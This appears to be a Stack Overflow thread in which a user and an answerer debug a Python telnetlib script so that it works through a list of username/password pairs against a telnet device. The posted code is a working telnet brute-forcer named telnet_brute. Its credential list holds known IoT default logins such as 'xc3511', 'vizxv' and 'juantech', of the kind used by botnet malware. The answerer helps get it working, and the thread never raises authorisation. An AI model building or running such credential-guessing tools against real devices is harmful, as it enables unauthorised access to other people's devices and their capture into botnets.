0

I am trying to use the python3 telnetlib library to connect to a device, but rather than specify a single username/password (as shown below), I would like to read the credentials from a tuple, and iterate through them until it finds a match.

An example of using telnetlib with single username is below.

import telnetlib
import sys
import getpass

bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))

I have tried the below however the script does connect but only tries the first username and password and then hangs without trying any other credentials.

Any help greatly appreciated.

 passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]


def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.131', timeout=10)
    ip = '192.168.0.131'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect([b"Password: ", b"password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")
            tn.read_all().decode('ascii')

            (i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)

            if i != -1:
                print("Exploit failed")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
                    print("Login successful:",tuples[0], tuples[1])
                    break
                else:
                    print("Exploit failed")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()
Bat
  • 145
  • 1
  • 3
  • 14

1 Answers1

1

your code throw exception and it handled in except block by breaking the for loop and end silently, this is why your program tries only the first username and password. so as a first step to know what's happening You should replace break statement with print(e)

except Exception as e:
    print(e)

i did't try your code, but it's looks that name 'password' is not defined in this line:

        if password:

updated answer:

passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]

def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.130', timeout=10)
    ip = '192.168.0.130'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print("Incorrect password or username")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                    print(f"Login successful: {tuples[0]}, {tuples[1]}")
                    tn.write(b"exit\n")
                    print(tn.read_all()) 
                    break
                else:
                    print(f"got this res after login:\n{res}")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()
Sameh Farouk
  • 549
  • 4
  • 8
  • thank you for the reply. Apologies for the delay I have been down with flu. I will try your suggsted code and get back to you, but again many thanks for the help. – Bat Feb 18 '19 at 09:57
  • hi @Sameh tried the code but same result. The script tries the first username/password and then hangs until the connection timesout. Its like it is still not iterating through the tuple to try the next and subsequent login details – Bat Feb 18 '19 at 19:35
  • updated the code. could you try the new code, let me know what is the output. thank you. – Sameh Farouk Feb 18 '19 at 21:12
  • hey @Sameh tried your code and after a few slight changes it now iterates though the dictionary. The final issue is that when it successfully finds the username/password and logins, it doesnt then stop and print the "Login Successful" message, but rather keeps iterating through the dictionary with more username/passwords - any ideas ? Really apprieciate you taking time to help ! – Bat Feb 19 '19 at 22:57
  • you just need to use break statement after printing login successful to break out of the loop, i am updating my answer , check it. if my answer is helpful, please don't forget to mark my answer as accepted. and reps are appreciated. – Sameh Farouk Feb 20 '19 at 08:45
  • hey @sameh I have already tried the break statement which you would expect would work, however its like it doesnt recognise that it has actually successfully logged in and continues to try more username/password. The if any(map) line is where I think it doesnt realise its logged in successfully. I have updated my code to show the break statement. And yes absolutely I will accept the answer once finished as I appreciate the time you have taken to help me – Bat Feb 20 '19 at 09:25
  • can you share the output? – Sameh Farouk Feb 20 '19 at 12:38
  • @Bat i updated my code slightly, please try it, but still need you to share the output . why you remove b">" from the list? put it back because if this what you got from the session you will bypass it and continue to try more username/password. – Sameh Farouk Feb 20 '19 at 15:09
  • Hi @Sam if I run the code I get "Connection error: cannot use a string pattern on a bytes-like object" on each iteration so I need make the strings byte strings. I then get error "Connection error: Invalid file object: " on each iteration so I have to add line "tn.read_all().decode('ascii')" which then runs without any errors, but still doesnt stop once its logged in correctly. It is like it doesnt recognise b"#" or b">" in the response. – Bat Feb 21 '19 at 19:55
  • Once it successfully logs in the command prompt is "pi@SmartPipeProtect:~$" but even if I put this in as an expected prompt, it still doen't recognise this and continues to try further username/password. – Bat Feb 21 '19 at 19:55
  • to be honest your code actually answers my question. It iterates through username/password in a tuple. The problem is not with your code it is with the way the response is being read. You have spent a LOT of time on this, and I dont want to take anymore of your time. Should I just accept your answer ? – Bat Feb 21 '19 at 19:57
  • ok finally got it working ! Ive put the final code under your solution. I moved the tuple index call outside of the tn.write and everything now appears to work ! I have to say you have been excellent and really helped me ! many thanks for all your help ! – Bat Feb 21 '19 at 21:38